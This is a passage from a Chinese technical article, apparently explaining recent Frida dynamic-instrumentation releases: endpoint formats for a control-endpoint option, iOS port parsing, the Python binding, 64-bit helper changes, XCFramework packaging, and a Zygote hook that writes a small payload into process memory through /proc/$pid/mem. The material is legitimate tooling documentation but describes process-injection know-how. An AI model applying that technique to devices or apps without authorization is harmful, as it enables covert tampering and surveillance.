1em;line-height: 1.357em;"><span leaf="">open_channel()</span></code><span leaf="">底层通过ADB的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">forward</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">reverse</span></code><span leaf="">机制建立连接。ADB支持的endpoint格式包括：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">格式</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">示例</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tcp:&lt;port&gt;</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">TCP端口</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tcp:27042</span></code></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">localabstract:&lt;name&gt;</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Linux抽象Unix socket</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">localabstract:/my-frida-server</span></code></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">localreserved:&lt;name&gt;</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">保留Unix socket</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">localreserved:frida</span></code></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">localfilesystem:&lt;path&gt;</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">文件系统Unix socket</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">localfilesystem:/data/frida.sock</span></code></td></tr></tbody></table><h3 data-line="486" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 Fruity（iOS）control-endpoint</span></h3><p data-line="488" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Fruity后端仅支持TCP端口，从endpoint字符串中解析端口号：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="490" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">uint16</span></span><span leaf=""> control_port = DEFAULT_CONTROL_PORT;  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 27042</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (options != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">) {</span><br/><span leaf="">    Value? control_endpoint_val = options.map[</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;control-endpoint&#34;</span></span><span leaf="">];</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (control_endpoint_val != </span><span style="color: rgb(163, 21, 21);"><span leaf="">null</span></span><span leaf="">) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">unowned</span></span><span style="color: rgb(0, 0, 255);"><span leaf="">string</span></span><span leaf=""> control_endpoint = control_endpoint_val.get_string ();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!control_endpoint.has_prefix (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;tcp:&#34;</span></span><span leaf="">))</span><br/><span leaf="">            throw </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> Error.INVALID_ARGUMENT (</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;The control-endpoint must be TCP-flavored&#34;</span></span><span leaf="">);</span><br/><span leaf="">        control_port = (</span><span style="color: rgb(0, 0, 255);"><span leaf="">uint16</span></span><span leaf="">) </span><span style="color: rgb(0, 0, 255);"><span leaf="">uint</span></span><span leaf="">.parse (control_endpoint[</span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">:]);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p data-line="505" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">iOS由于走的是usbmuxd或RemoteXPC隧道，底层实现与ADB不同，只能转发TCP端口。</span></p><h3 data-line="507" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">4 Python绑定</span></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="509" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># frida/core.py</span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">@cancellable</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">def</span></span><span style="color: rgb(128, 128, 128);"><span leaf="">override_option</span></span><span leaf="">(</span><span style="color: inherit;"><span leaf="">self, name: </span><span style="color: rgb(0, 122, 204);"><span leaf="">str</span></span><span leaf="">, value: </span><span style="color: rgb(163, 21, 21);"><span leaf="">Any</span></span></span><span leaf="">) -&gt; </span><span style="color: rgb(163, 21, 21);"><span leaf="">None</span></span><span leaf="">:</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;&#34;&#34;Override a backend-specific option&#34;&#34;&#34;</span></span><br/><span leaf="">    self._impl.override_option(name, value)</span></code></pre><p data-line="517" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">C扩展层通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PyGObject_unmarshal_variant</span></code><span leaf="">将Python对象转换为GVariant，再调用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida_device_override_option()</span></code><span leaf="">。</span></p><p data-line="519" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于命令行用户，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida-trace</span></code><span leaf="">等工具暂时还未直接暴露</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--control-endpoint</span></code><span leaf="">参数，需要通过Python API使用。</span></p><h2 data-line="521" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">其他重要更新</span></h2><h3 data-line="523" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">64位设备跳过32位helper（17.9.0）</span></h3><p data-line="525" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">be239982</span></code><span leaf="">为纯64位Android设备（如Pixel 7+）跳过32位helper的启动尝试：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="527" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (sizeof (</span><span style="color: rgb(0, 0, 255);"><span leaf="">void</span></span><span leaf=""> *) == </span><span style="color: rgb(0, 128, 0);"><span leaf="">8</span></span><span leaf=""> &amp;&amp;</span><br/><span leaf="">    _query_android_system_property (</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;ro.product.cpu.abilist32&#34;</span></span><span leaf="">) == </span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;&#34;</span></span><span leaf="">)</span><br/><span leaf="">    throw </span><span style="color: rgb(0, 0, 255);"><span leaf="">new</span></span><span leaf=""> Error.NOT_SUPPORTED (</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;Android system does not support 32-bit processes&#34;</span></span><span leaf="">);</span></code></pre><p data-line="534" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">通过检查</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ro.product.cpu.abilist32</span></code><span leaf="">系统属性是否为空来判断。在纯64位设备上避免无意义的32位helper spawn失败，减少启动耗时和日志噪音。</span></p><h3 data-line="536" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">XCFramework devkit打包（17.9.0）</span></h3><p data-line="538" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-gum新增了将devkit打包为XCFramework的工具支持（由sewerynplazuk贡献）。XCFramework是Apple推荐的多架构框架分发格式，支持在一个bundle中包含iOS真机（arm64）、iOS模拟器（arm64/x86_64）和macOS等多个平台的库。这对于在Xcode项目中集成Frida SDK的开发者来说减少了手动管理fat binary和lipo的工作。</span></p><hr style=" border-width: 0px 0px 1px;border-top-style: initial;border-right-style: initial;border-left-style: initial;border-color: rgba(0, 0, 0, 0.18);border-image: initial;height: 1px;border-bottom-style: solid; font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "/><p data-line="542" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">以下更新来自17.8.x开发周期：</span></p><h3 data-line="544" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Android轻量级Zygote Hook（17.8.x）</span></h3><p data-line="546" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3e778a99</span></code><span leaf="">重写了Android的spawn gating机制，从&#34;注入内部agent到Zygote&#34;改为轻量级方案：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/$pid/mem</span></code><span leaf="">向Zygote进程的代码区写入微型payload（zymbiote，约740-920字节，按架构不同而变化）</span></p></li><li style=""><p><span leaf="">Patch </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">android.os.Process.setArgV0Native()</span></code><span leaf="">的ArtMethod，跳转到payload</span></p></li><li style=""><p><span leaf="">payload作为代理，链式调用原始</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setArgV0Native</span></code></p></li><li style=""><p><span leaf="">同时建立Unix socket连接回frida-core，报告新App的spawn</span></p></li></ol><p data-line="553" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">不再需要注入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida-java-bridge</span></code><span leaf="">到Zygote，去掉了对system_server代码注入的依赖。</span></p><h3 data-line="555" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-helper.dex统一化（17.8.x）</span></h3><p data-line="557" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: 